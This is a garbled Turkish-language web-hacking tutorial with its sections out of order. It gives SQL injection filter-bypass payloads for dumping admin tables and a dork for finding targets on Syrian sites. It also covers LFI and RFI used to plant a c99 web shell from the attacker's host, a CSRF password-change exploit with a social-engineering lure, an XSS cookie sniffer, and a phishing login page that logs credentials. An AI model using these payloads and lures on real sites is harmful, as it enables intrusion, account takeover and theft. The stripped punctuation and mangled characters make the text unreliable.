wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
